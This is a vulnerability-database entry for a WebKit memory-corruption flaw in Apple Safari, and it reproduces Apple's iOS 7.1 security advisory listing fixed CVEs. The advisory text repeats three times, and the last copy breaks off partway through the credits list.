VARIoT IoT vulnerabilities database

WebKit, as used in Apple Safari before 6.1.1 and 7.x before 7.0.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2013-12-16-1. Apple Safari Used in etc. WebKit is prone to an unspecified memory-corruption vulnerability. An attacker may exploit this issue by enticing victims into viewing a malicious webpage. Successful exploits may allow attackers to execute arbitrary code in the context of the affected browser or cause denial-of-service conditions; other attacks may also be possible. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. For OS X Mountain Lion systems Safari 6.1 may be obtained from Mac App Store. For OS X Lion systems Safari 6.1 is available via the Apple Software Update application. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 APPLE-SA-2014-03-10-1 iOS 7.1 iOS 7.1 is now available and addresses the following: Backup Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A maliciously crafted backup can alter the filesystem Description: A symbolic link in a backup would be restored, allowing subsequent operations during the restore to write to the rest of the filesystem. This issue was addressed by checking for symbolic links during the restore process. CVE-ID CVE-2013-5133 : evad3rs Certificate Trust Policy Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Root certificates have been updated Description: Several certificates were added to or removed from the list of system roots. Configuration Profiles Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Profile expiration dates were not honored Description: Expiration dates of mobile configuration profiles were not evaluated correctly. The issue was resolved through improved handling of configuration profiles. CVE-ID CVE-2014-1267 CoreCapture Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application can cause an unexpected system termination Description: A reachable assertion issue existed in CoreCapture's handling of IOKit API calls. The issue was addressed through additional validation of input from IOKit. CVE-ID CVE-2014-1271 : Filippo Bigarella Crash Reporting Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to change permissions on arbitrary files Description: CrashHouseKeeping followed symbolic links while changing permissions on files. This issue was addressed by not following symbolic links when changing permissions on files. CVE-ID CVE-2014-1272 : evad3rs dyld Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Code signing requirements may be bypassed Description: Text relocation instructions in dynamic libraries may be loaded by dyld without code signature validation. This issue was addressed by ignoring text relocation instructions. CVE-ID CVE-2014-1273 : evad3rs FaceTime Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to access FaceTime contacts from the lock screen Description: FaceTime contacts on a locked device could be exposed by making a failed FaceTime call from the lock screen. This issue was addressed through improved handling of FaceTime calls. CVE-ID CVE-2014-1274 ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in the handling of JPEG2000 images in PDF files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-1275 : Felix Groebert of the Google Security Team ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted TIFF file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in libtiff's handling of TIFF images. This issue was addressed through additional validation of TIFF images. CVE-ID CVE-2012-2088 ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted JPEG file may lead to the disclosure of memory contents Description: An uninitialized memory access issue existed in libjpeg's handling of JPEG markers, resulting in the disclosure of memory contents. This issue was addressed through additional validation of JPEG files. CVE-ID CVE-2013-6629 : Michal Zalewski IOKit HID Event Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may monitor on user actions in other apps Description: An interface in IOKit framework allowed malicious apps to monitor on user actions in other apps. This issue was addressed through improved access control policies in the framework. CVE-ID CVE-2014-1276 : Min Zheng, Hui Xue, and Dr. Tao (Lenx) Wei of FireEye iTunes Store Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A man-in-the-middle attacker may entice a user into downloading a malicious app via Enterprise App Download Description: An attacker with a privileged network position could spoof network communications to entice a user into downloading a malicious app. This issue was mitigated by using SSL and prompting the user during URL redirects. CVE-ID CVE-2014-1277 : Stefan Esser Kernel Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel Description: An out of bounds memory access issue existed in the ARM ptmx_get_ioctl function. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-1278 : evad3rs Office Viewer Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Opening a maliciously crafted Microsoft Word document may lead to an unexpected application termination or arbitrary code execution Description: A double free issue existed in the handling of Microsoft Word documents. This issue was addressed through improved memory management. CVE-ID CVE-2014-1252 : Felix Groebert of the Google Security Team Photos Backend Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Deleted images may still appear in the Photos app underneath transparent images Description: Deleting an image from the asset library did not delete cached versions of the image. This issue was addressed through improved cache management. CVE-ID CVE-2014-1281 : Walter Hoelblinger of Hoelblinger.com, Morgan Adams, Tom Pennington Profiles Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A configuration profile may be hidden from the user Description: A configuration profile with a long name could be loaded onto the device but was not displayed in the profile UI. The issue was addressed through improved handling of profile names. CVE-ID CVE-2014-1282 : Assaf Hefetz, Yair Amit and Adi Sharabani of Skycure Safari Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: User credentials may be disclosed to an unexpected site via autofill Description: Safari may have autofilled user names and passwords into a subframe from a different domain than the main frame. This issue was addressed through improved origin tracking. CVE-ID CVE-2013-5227 : Niklas Malmgren of Klarna AB Settings - Accounts Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to disable Find My iPhone without entering an iCloud password Description: A state management issue existed in the handling of the Find My iPhone state. This issue was addressed through improved handling of Find My iPhone state. CVE-ID CVE-2014-1284 Springboard Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to see the home screen of the device even if the device has not been activated Description: An unexpected application termination during activation could cause the phone to show the home screen. The issue was addressed through improved error handling during activation. CVE-ID CVE-2014-1285 : Roboboi99 SpringBoard Lock Screen Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A remote attacker may be able to cause the lock screen to become unresponsive Description: A state management issue existed in the lock screen. This issue was addressed through improved state management. CVE-ID CVE-2014-1286 : Bogdan Alecu of M-sec.net TelephonyUI Framework Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A webpage could trigger a FaceTime audio call without user interaction Description: Safari did not consult the user before launching facetime-audio:// URLs. This issue was addressed with the addition of a confirmation prompt. CVE-ID CVE-2013-6835 : Guillaume Ross USB Host Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to cause arbitrary code execution in kernel mode Description: A memory corruption issue existed in the handling of USB messages. This issue was addressed through additional validation of USB messages. CVE-ID CVE-2014-1287 : Andy Davis of NCC Group Video Driver Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Playing a maliciously crafted video could lead to the device becoming unresponsive Description: A null dereference issue existed in the handling of MPEG-4 encoded files. This issue was addressed through improved memory handling. These issues were addressed through improved memory handling. CVE-ID CVE-2013-2909 : Atte Kettunen of OUSPG CVE-2013-2926 : cloudfuzzer CVE-2013-2928 : Google Chrome Security Team CVE-2013-5196 : Google Chrome Security Team CVE-2013-5197 : Google Chrome Security Team CVE-2013-5198 : Apple CVE-2013-5199 : Apple CVE-2013-5225 : Google Chrome Security Team CVE-2013-5228 : Keen Team (@K33nTeam) working with HP's Zero Day Initiative CVE-2013-6625 : cloudfuzzer CVE-2013-6635 : cloudfuzzer CVE-2014-1269 : Apple CVE-2014-1270 : Apple CVE-2014-1289 : Apple CVE-2014-1290 : ant4g0nist (SegFault) working with HP's Zero Day Initiative, Google Chrome Security Team CVE-2014-1291 : Google Chrome Security Team CVE-2014-1292 : Google Chrome Security Team CVE-2014-1293 : Google Chrome Security Team CVE-2014-1294 : Google Chrome Security Team Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "7.1". Information will also be posted to the Apple Security Updates web site: http://support.apple.com/kb/HT1222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) Comment: GPGTools - http://gpgtools.org iQIcBAEBAgAGBQJTGlvJAAoJEPefwLHPlZEwh2cP/iOvfDbgv78TKX2hsxttcy8l NTK4EbpYO0rEpqbQukIHwBrb+PtEWK4tdxWPNQV+8GnCPaLqmMXWxHZPkI02qXjI UxYNgPq+9MPcoFFdbbptz4azcwFa0rdsQtxL0MYRrUqW5ml86zjGsVWUDGMDFu9R fuujvU/JOGoIYVxFQziEScnMfryw61b/JObcT/mDzXv/IcKhuMzMfp4cbnXq7Mmx NOpIQ0syx5oH7jadJA72iX7UyUuoydAcD3gaJDbLLfjEM8giDTL/TmH1HpuJjDHq Zmj0NMlMqAztoFzpHZxlJ6kYjFYs7heyWgm3HQ+dwT0cDajFEZUEJGuBBO+P6dwp cVlhDJ87crsP2ctUn46EUGFw5fFZRPEUqm4r0M/3o8z2ZPDqFxIBwMHEEV2LJtuN lKjHYYWTO9BZOg87pm/HLpNqqTEz7J1eDWVJiRh5kZarp8w5KgZhBhYkltlPKwOo Uh1SvUH+CjgNQTObSLv+e2EJ0So8gi3xBGHOrOdcof33fTsyL4WDvHEIvs4l1jUY f29uha46K3dVZpJtFV3xTiwm6fodWgTR4xhWSAAVI2V8V4KLQMEHu7+eV+cURmme JLdVgzxXw0uZHP874Uy60qR+6KBdEkIvgAoDHmd9jLnZMJTQAcn7PjcZz2z/V25u 3bQ2RrEc85Xqs7adpinL =W1ik -----END PGP SIGNATURE-----

WebKit, as used in Apple Safari before 6.1.1 and 7.x before 7.0.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2013-12-16-1. Apple Safari Used in etc. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of WebCore::DocumentOrderedMap objects. By manipulating a document's elements an attacker can free arbitrary memory and force a dangling pointer to be reused after it has been freed. An attacker can leverage this vulnerability to execute code under the context of the current process. An attacker may exploit this issue by enticing victims into viewing a malicious webpage. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. For OS X Mountain Lion systems Safari 6.1 may be obtained from Mac App Store. For OS X Lion systems Safari 6.1 is available via the Apple Software Update application. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 APPLE-SA-2014-03-10-1 iOS 7.1 iOS 7.1 is now available and addresses the following: Backup Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A maliciously crafted backup can alter the filesystem Description: A symbolic link in a backup would be restored, allowing subsequent operations during the restore to write to the rest of the filesystem. This issue was addressed by checking for symbolic links during the restore process. CVE-ID CVE-2013-5133 : evad3rs Certificate Trust Policy Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Root certificates have been updated Description: Several certificates were added to or removed from the list of system roots. Configuration Profiles Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Profile expiration dates were not honored Description: Expiration dates of mobile configuration profiles were not evaluated correctly. The issue was resolved through improved handling of configuration profiles. CVE-ID CVE-2014-1267 CoreCapture Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application can cause an unexpected system termination Description: A reachable assertion issue existed in CoreCapture's handling of IOKit API calls. The issue was addressed through additional validation of input from IOKit. CVE-ID CVE-2014-1271 : Filippo Bigarella Crash Reporting Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to change permissions on arbitrary files Description: CrashHouseKeeping followed symbolic links while changing permissions on files. This issue was addressed by not following symbolic links when changing permissions on files. CVE-ID CVE-2014-1272 : evad3rs dyld Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Code signing requirements may be bypassed Description: Text relocation instructions in dynamic libraries may be loaded by dyld without code signature validation. This issue was addressed by ignoring text relocation instructions. CVE-ID CVE-2014-1273 : evad3rs FaceTime Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to access FaceTime contacts from the lock screen Description: FaceTime contacts on a locked device could be exposed by making a failed FaceTime call from the lock screen. This issue was addressed through improved handling of FaceTime calls. CVE-ID CVE-2014-1274 ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in the handling of JPEG2000 images in PDF files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-1275 : Felix Groebert of the Google Security Team ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted TIFF file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in libtiff's handling of TIFF images. This issue was addressed through additional validation of TIFF images. CVE-ID CVE-2012-2088 ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted JPEG file may lead to the disclosure of memory contents Description: An uninitialized memory access issue existed in libjpeg's handling of JPEG markers, resulting in the disclosure of memory contents. This issue was addressed through additional validation of JPEG files. CVE-ID CVE-2013-6629 : Michal Zalewski IOKit HID Event Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may monitor on user actions in other apps Description: An interface in IOKit framework allowed malicious apps to monitor on user actions in other apps. This issue was addressed through improved access control policies in the framework. CVE-ID CVE-2014-1276 : Min Zheng, Hui Xue, and Dr. Tao (Lenx) Wei of FireEye iTunes Store Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A man-in-the-middle attacker may entice a user into downloading a malicious app via Enterprise App Download Description: An attacker with a privileged network position could spoof network communications to entice a user into downloading a malicious app. This issue was mitigated by using SSL and prompting the user during URL redirects. CVE-ID CVE-2014-1277 : Stefan Esser Kernel Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel Description: An out of bounds memory access issue existed in the ARM ptmx_get_ioctl function. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-1278 : evad3rs Office Viewer Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Opening a maliciously crafted Microsoft Word document may lead to an unexpected application termination or arbitrary code execution Description: A double free issue existed in the handling of Microsoft Word documents. This issue was addressed through improved memory management. CVE-ID CVE-2014-1252 : Felix Groebert of the Google Security Team Photos Backend Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Deleted images may still appear in the Photos app underneath transparent images Description: Deleting an image from the asset library did not delete cached versions of the image. This issue was addressed through improved cache management. CVE-ID CVE-2014-1281 : Walter Hoelblinger of Hoelblinger.com, Morgan Adams, Tom Pennington Profiles Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A configuration profile may be hidden from the user Description: A configuration profile with a long name could be loaded onto the device but was not displayed in the profile UI. The issue was addressed through improved handling of profile names. CVE-ID CVE-2014-1282 : Assaf Hefetz, Yair Amit and Adi Sharabani of Skycure Safari Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: User credentials may be disclosed to an unexpected site via autofill Description: Safari may have autofilled user names and passwords into a subframe from a different domain than the main frame. This issue was addressed through improved origin tracking. CVE-ID CVE-2013-5227 : Niklas Malmgren of Klarna AB Settings - Accounts Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to disable Find My iPhone without entering an iCloud password Description: A state management issue existed in the handling of the Find My iPhone state. This issue was addressed through improved handling of Find My iPhone state. CVE-ID CVE-2014-1284 Springboard Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to see the home screen of the device even if the device has not been activated Description: An unexpected application termination during activation could cause the phone to show the home screen. The issue was addressed through improved error handling during activation. CVE-ID CVE-2014-1285 : Roboboi99 SpringBoard Lock Screen Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A remote attacker may be able to cause the lock screen to become unresponsive Description: A state management issue existed in the lock screen. This issue was addressed through improved state management. CVE-ID CVE-2014-1286 : Bogdan Alecu of M-sec.net TelephonyUI Framework Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A webpage could trigger a FaceTime audio call without user interaction Description: Safari did not consult the user before launching facetime-audio:// URLs. This issue was addressed with the addition of a confirmation prompt. CVE-ID CVE-2013-6835 : Guillaume Ross USB Host Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to cause arbitrary code execution in kernel mode Description: A memory corruption issue existed in the handling of USB messages. This issue was addressed through additional validation of USB messages. CVE-ID CVE-2014-1287 : Andy Davis of NCC Group Video Driver Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Playing a maliciously crafted video could lead to the device becoming unresponsive Description: A null dereference issue existed in the handling of MPEG-4 encoded files. This issue was addressed through improved memory handling. These issues were addressed through improved memory handling. CVE-ID CVE-2013-2909 : Atte Kettunen of OUSPG CVE-2013-2926 : cloudfuzzer CVE-2013-2928 : Google Chrome Security Team CVE-2013-5196 : Google Chrome Security Team CVE-2013-5197 : Google Chrome Security Team CVE-2013-5198 : Apple CVE-2013-5199 : Apple CVE-2013-5225 : Google Chrome Security Team CVE-2013-5228 : Keen Team (@K33nTeam) working with HP's Zero Day Initiative CVE-2013-6625 : cloudfuzzer CVE-2013-6635 : cloudfuzzer CVE-2014-1269 : Apple CVE-2014-1270 : Apple CVE-2014-1289 : Apple CVE-2014-1290 : ant4g0nist (SegFault) working with HP's Zero Day Initiative, Google Chrome Security Team CVE-2014-1291 : Google Chrome Security Team CVE-2014-1292 : Google Chrome Security Team CVE-2014-1293 : Google Chrome Security Team CVE-2014-1294 : Google Chrome Security Team Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "7.1". Information will also be posted to the Apple Security Updates web site: http://support.apple.com/kb/HT1222 This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) Comment: GPGTools - http://gpgtools.org iQIcBAEBAgAGBQJTGlvJAAoJEPefwLHPlZEwh2cP/iOvfDbgv78TKX2hsxttcy8l NTK4EbpYO0rEpqbQukIHwBrb+PtEWK4tdxWPNQV+8GnCPaLqmMXWxHZPkI02qXjI UxYNgPq+9MPcoFFdbbptz4azcwFa0rdsQtxL0MYRrUqW5ml86zjGsVWUDGMDFu9R fuujvU/JOGoIYVxFQziEScnMfryw61b/JObcT/mDzXv/IcKhuMzMfp4cbnXq7Mmx NOpIQ0syx5oH7jadJA72iX7UyUuoydAcD3gaJDbLLfjEM8giDTL/TmH1HpuJjDHq Zmj0NMlMqAztoFzpHZxlJ6kYjFYs7heyWgm3HQ+dwT0cDajFEZUEJGuBBO+P6dwp cVlhDJ87crsP2ctUn46EUGFw5fFZRPEUqm4r0M/3o8z2ZPDqFxIBwMHEEV2LJtuN lKjHYYWTO9BZOg87pm/HLpNqqTEz7J1eDWVJiRh5kZarp8w5KgZhBhYkltlPKwOo Uh1SvUH+CjgNQTObSLv+e2EJ0So8gi3xBGHOrOdcof33fTsyL4WDvHEIvs4l1jUY f29uha46K3dVZpJtFV3xTiwm6fodWgTR4xhWSAAVI2V8V4KLQMEHu7+eV+cURmme JLdVgzxXw0uZHP874Uy60qR+6KBdEkIvgAoDHmd9jLnZMJTQAcn7PjcZz2z/V25u 3bQ2RrEc85Xqs7adpinL =W1ik -----END PGP SIGNATURE-----

WebKit, as used in Apple Safari before 6.1.1 and 7.x before 7.0.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2013-12-16-1. Apple Safari Used in etc. WebKit is prone to an unspecified memory-corruption vulnerability. An attacker may exploit this issue by enticing victims into viewing a malicious webpage. Successful exploits may allow attackers to execute arbitrary code in the context of the affected browser or cause denial-of-service conditions; other attacks may also be possible. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. For OS X Mountain Lion systems Safari 6.1 may be obtained from Mac App Store. For OS X Lion systems Safari 6.1 is available via the Apple Software Update application. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 APPLE-SA-2014-03-10-1 iOS 7.1 iOS 7.1 is now available and addresses the following: Backup Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A maliciously crafted backup can alter the filesystem Description: A symbolic link in a backup would be restored, allowing subsequent operations during the restore to write to the rest of the filesystem. This issue was addressed by checking for symbolic links during the restore process. CVE-ID CVE-2013-5133 : evad3rs Certificate Trust Policy Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Root certificates have been updated Description: Several certificates were added to or removed from the list of system roots. Configuration Profiles Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Profile expiration dates were not honored Description: Expiration dates of mobile configuration profiles were not evaluated correctly. The issue was resolved through improved handling of configuration profiles. CVE-ID CVE-2014-1267 CoreCapture Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application can cause an unexpected system termination Description: A reachable assertion issue existed in CoreCapture's handling of IOKit API calls. The issue was addressed through additional validation of input from IOKit. CVE-ID CVE-2014-1271 : Filippo Bigarella Crash Reporting Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to change permissions on arbitrary files Description: CrashHouseKeeping followed symbolic links while changing permissions on files. This issue was addressed by not following symbolic links when changing permissions on files. CVE-ID CVE-2014-1272 : evad3rs dyld Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Code signing requirements may be bypassed Description: Text relocation instructions in dynamic libraries may be loaded by dyld without code signature validation. This issue was addressed by ignoring text relocation instructions. CVE-ID CVE-2014-1273 : evad3rs FaceTime Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to access FaceTime contacts from the lock screen Description: FaceTime contacts on a locked device could be exposed by making a failed FaceTime call from the lock screen. This issue was addressed through improved handling of FaceTime calls. CVE-ID CVE-2014-1274 ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in the handling of JPEG2000 images in PDF files. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-1275 : Felix Groebert of the Google Security Team ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted TIFF file may lead to an unexpected application termination or arbitrary code execution Description: A buffer overflow existed in libtiff's handling of TIFF images. This issue was addressed through additional validation of TIFF images. CVE-ID CVE-2012-2088 ImageIO Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Viewing a maliciously crafted JPEG file may lead to the disclosure of memory contents Description: An uninitialized memory access issue existed in libjpeg's handling of JPEG markers, resulting in the disclosure of memory contents. This issue was addressed through additional validation of JPEG files. CVE-ID CVE-2013-6629 : Michal Zalewski IOKit HID Event Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A malicious application may monitor on user actions in other apps Description: An interface in IOKit framework allowed malicious apps to monitor on user actions in other apps. This issue was addressed through improved access control policies in the framework. CVE-ID CVE-2014-1276 : Min Zheng, Hui Xue, and Dr. Tao (Lenx) Wei of FireEye iTunes Store Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A man-in-the-middle attacker may entice a user into downloading a malicious app via Enterprise App Download Description: An attacker with a privileged network position could spoof network communications to entice a user into downloading a malicious app. This issue was mitigated by using SSL and prompting the user during URL redirects. CVE-ID CVE-2014-1277 : Stefan Esser Kernel Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A local user may be able to cause an unexpected system termination or arbitrary code execution in the kernel Description: An out of bounds memory access issue existed in the ARM ptmx_get_ioctl function. This issue was addressed through improved bounds checking. CVE-ID CVE-2014-1278 : evad3rs Office Viewer Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Opening a maliciously crafted Microsoft Word document may lead to an unexpected application termination or arbitrary code execution Description: A double free issue existed in the handling of Microsoft Word documents. This issue was addressed through improved memory management. CVE-ID CVE-2014-1252 : Felix Groebert of the Google Security Team Photos Backend Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Deleted images may still appear in the Photos app underneath transparent images Description: Deleting an image from the asset library did not delete cached versions of the image. This issue was addressed through improved cache management. CVE-ID CVE-2014-1281 : Walter Hoelblinger of Hoelblinger.com, Morgan Adams, Tom Pennington Profiles Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A configuration profile may be hidden from the user Description: A configuration profile with a long name could be loaded onto the device but was not displayed in the profile UI. The issue was addressed through improved handling of profile names. CVE-ID CVE-2014-1282 : Assaf Hefetz, Yair Amit and Adi Sharabani of Skycure Safari Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: User credentials may be disclosed to an unexpected site via autofill Description: Safari may have autofilled user names and passwords into a subframe from a different domain than the main frame. This issue was addressed through improved origin tracking. CVE-ID CVE-2013-5227 : Niklas Malmgren of Klarna AB Settings - Accounts Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to disable Find My iPhone without entering an iCloud password Description: A state management issue existed in the handling of the Find My iPhone state. This issue was addressed through improved handling of Find My iPhone state. CVE-ID CVE-2014-1284 Springboard Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to see the home screen of the device even if the device has not been activated Description: An unexpected application termination during activation could cause the phone to show the home screen. The issue was addressed through improved error handling during activation. CVE-ID CVE-2014-1285 : Roboboi99 SpringBoard Lock Screen Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A remote attacker may be able to cause the lock screen to become unresponsive Description: A state management issue existed in the lock screen. This issue was addressed through improved state management. CVE-ID CVE-2014-1286 : Bogdan Alecu of M-sec.net TelephonyUI Framework Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A webpage could trigger a FaceTime audio call without user interaction Description: Safari did not consult the user before launching facetime-audio:// URLs. This issue was addressed with the addition of a confirmation prompt. CVE-ID CVE-2013-6835 : Guillaume Ross USB Host Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: A person with physical access to the device may be able to cause arbitrary code execution in kernel mode Description: A memory corruption issue existed in the handling of USB messages. This issue was addressed through additional validation of USB messages. CVE-ID CVE-2014-1287 : Andy Davis of NCC Group Video Driver Available for: iPhone 4 and later, iPod touch (5th generation) and later, iPad 2 and later Impact: Playing a maliciously crafted video could lead to the device becoming unresponsive Description: A null dereference issue existed in the handling of MPEG-4 encoded files. This issue was addressed through improved memory handling. These issues were addressed through improved memory handling. CVE-ID CVE-2013-2909 : Atte Kettunen of OUSPG CVE-2013-2926 : cloudfuzzer CVE-2013-2928 : Google Chrome Security Team CVE-2013-5196 : Google Chrome Security Team CVE-2013-5197 : Google Chrome Security Team CVE-2013-5198 : Apple CVE-2013-5199 : Apple CVE-2013-5225 : Google Chrome Security Team CVE-2013-5228 : Keen Team (@K33nTeam) working with HP's Zero Day Initiative CVE-2013-6625 : cloudfuzzer CVE-2013-6635 : cloudfuzzer CVE-2014-1269 : Apple CVE-2014-1270 : Apple CVE-2014-1289 : Apple CVE-2014-1290 : ant4g0nist (SegFault) working with HP's Zero Day Initiative, Google Chrome Security Team CVE-2014-1291 : Google Chrome Security Team CVE-2014-1292 : Google Chrome Security Team CVE-2014-1293 : Google 